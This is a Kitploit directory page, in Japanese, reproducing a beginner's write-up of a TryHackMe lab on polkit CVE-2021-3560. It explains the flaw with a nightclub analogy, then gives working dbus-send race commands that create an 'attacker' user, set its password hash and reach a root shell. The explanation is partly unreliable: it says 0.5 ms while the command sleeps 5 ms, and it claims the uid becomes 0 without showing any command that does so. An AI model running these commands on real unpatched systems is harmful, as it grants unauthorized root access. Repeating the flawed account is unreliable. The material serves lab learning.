Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
polkit-CVE-2021-3560_writeup — TryHackMeのイージーレベルモジュール「polkit:CVE-2021-3560」向けの初心者向けwrite-up | Kitploit
ツール/GitHubGitHub/realatharva15/polkit-cve-2021-3560_writeup
特権昇格脆弱性分析エクスプロイトCTF学習と教育バイナリエクスプロイトラボと実践
GitHubrealatharva15/polkit-cve-2021-3560_writeup

polkit-CVE-2021-3560_writeup

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

TryHackMeのイージーレベルモジュール「polkit:CVE-2021-3560」向けの初心者向けwrite-up

リポジトリを見る
17ヶ月前未レビュー

Try Hack Me - Polkit:CVE-2021-3560

著者: Atharva Bordavekar

難易度: Info

ポイント: 32

脆弱性: CVE-2021-3560

まず、より詳しい情報を得るために、polkit のバージョンを確認します。

root@kitploit:~
apt list --installed | grep policykit-1

policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]

私は、PolicyKit の概念をより深く理解してもらうために、deepseek を使って簡単なアナロジーを作成しました。

ナイトクラブの用心棒のアナロジー

ナイトクラブ: Polkit システム

ナイトクラブ (VIP エリア): 特権システムサービス/アクション (ドライブのマウント、ソフトウェアのインストール、ネットワークの管理)

ドアの用心棒: Polkit そのもの。すべての進入試行を遮断する

ゲストリスト / ドレスコード: Polkit ポリシールール (/usr/share/polkit-1/actions/ と /etc/polkit-1/rules.d/ に格納)

VIP パス / クラブ会員: 特定の Linux グループ (wheel、sudo、storage、network など) に所属していること

ID チェック: Polkit がユーザーの身元とグループ所属を確認する

オーナー / マネージャー root: ユーザー (すべてへの無制限アクセスを持つ)

VIP エリアに入ろうとする一般客: 特権コマンドを実行しようとする通常のユーザー/プログラム

ルールブックを調べる用心棒: その特定のアクション向けに設定されたポリシーを確認する Polkit

特別なリストバンド/パスワードを求める用心棒: 認証プロンプト (パスワードを要求)

確認せずに誰かを通す用心棒: 認証なしで許可されるアクション (信頼されたユーザー/グループ向け)

polkit は、systemd での sudo に相当するものです。

ここで、dbus リクエストの認証情報チェックをバイパスするために、こっそりとしたリクエストを使ってこのナイトクラブの用心棒を悪用できます。

先ほどと同じナイトクラブの用心棒のアナロジーを使って、これを理解しましょう。

通常のプロセスは次のように進むとしましょう。用心棒が ID を確認し、その人物がその特定のタスクを実行するのに十分な特権を持っていれば、用心棒はその人物を通します。しかし、これを悪用するために、攻撃者は「私をすべてのアクセス権を持つクラブマネージャーにしてくれ」というダミーリクエストをクラブの秘書に送ります。メッセージがクラブの秘書に届くまでに 11 ミリ秒の猶予がありますが、もちろん秘書はこのリクエストを受け入れません。そのため、秘書に届くまでの時間の半分、つまり 0.5 ミリ秒以内にリクエストをキャンセルしなければなりません。そして、用心棒が誰が送信したのかを確認する直前に、特権昇格のリクエストが書かれたメモを奪い取ります。メモを奪い取ると、用心棒は誰が送信したのかを特定できません。このメモには一意の番号が付いており、その番号は孤児になります。一意の番号はシステム内に存在しますが、元のメモは消えています。この状況に対処するためのデフォルトのプロトコルでは、用心棒はマニュアルにそう書かれているため、メッセージがクラブオーナーから送信されたものと見なします。具体的には次のような流れです。用心棒が「ねえ、このメッセージ #12345 を送ったのは誰だ?」と尋ねます。dbus-daemon は記録を調べて「ログには #12345 の追跡情報があるが、実際のメッセージは見つからない...エラー」と返します。つまり、誰が送信したのかわからないと言う代わりに、dbus-daemon はエラーコードを返すのです。用心棒のトレーニングマニュアルにはバグがあります。トレーニングマニュアルには、特定のメッセージを誰が送信したのかわからず、ID の確認中にエラーが発生した場合は、クラブオーナー (uid 0) からのメッセージであると見なすと記載されています。たとえそれが単なる代理に過ぎなくても、用心棒はこのメッセージがクラブオーナーからのものであるとクラブの秘書に伝えます。秘書はこれを承認し、攻撃者用の新しいクラブマネージャーアカウントを作成します。これで攻撃者は root ユーザーと同等の特権を獲得します。

それでは、パスワード Expl01ted を持つ attacker という名前のユーザーを即座に取得するコマンドを見てみましょう。まず、次のコマンドから始めます:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!

このコマンドは attacker という名前のユーザーを作成します。用心棒 (polkit) にメッセージを読まれないようにするため、0.5 ミリ秒後にすぐにプロセスを終了させます。attacker ユーザーにはまだ root の認証情報がありません。

attacker ユーザーに切望されている root 権限を与えるために、次のコマンドを使用します:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
root@kitploit:~
id attacker

これで、attacker ユーザーの uid が 1000 であることがわかります。

ここでは、特権を持たない元の attacker ユーザーのユーザー ID を追加します。これにより、attacker ユーザーの ID が 1000 から 0 になります。

root@kitploit:~
id attacker

これで、attacker ユーザーの uid が 1000 から 0 に変わったことがわかります。つまり、最高権限を持つ root ユーザーのグループに属していることを意味します。

ここから root として直接コマンドを実行することもできますし、お好みに応じて root シェルに飛び込むこともできます。

root@kitploit:~
sudo su
ツールをダウンロード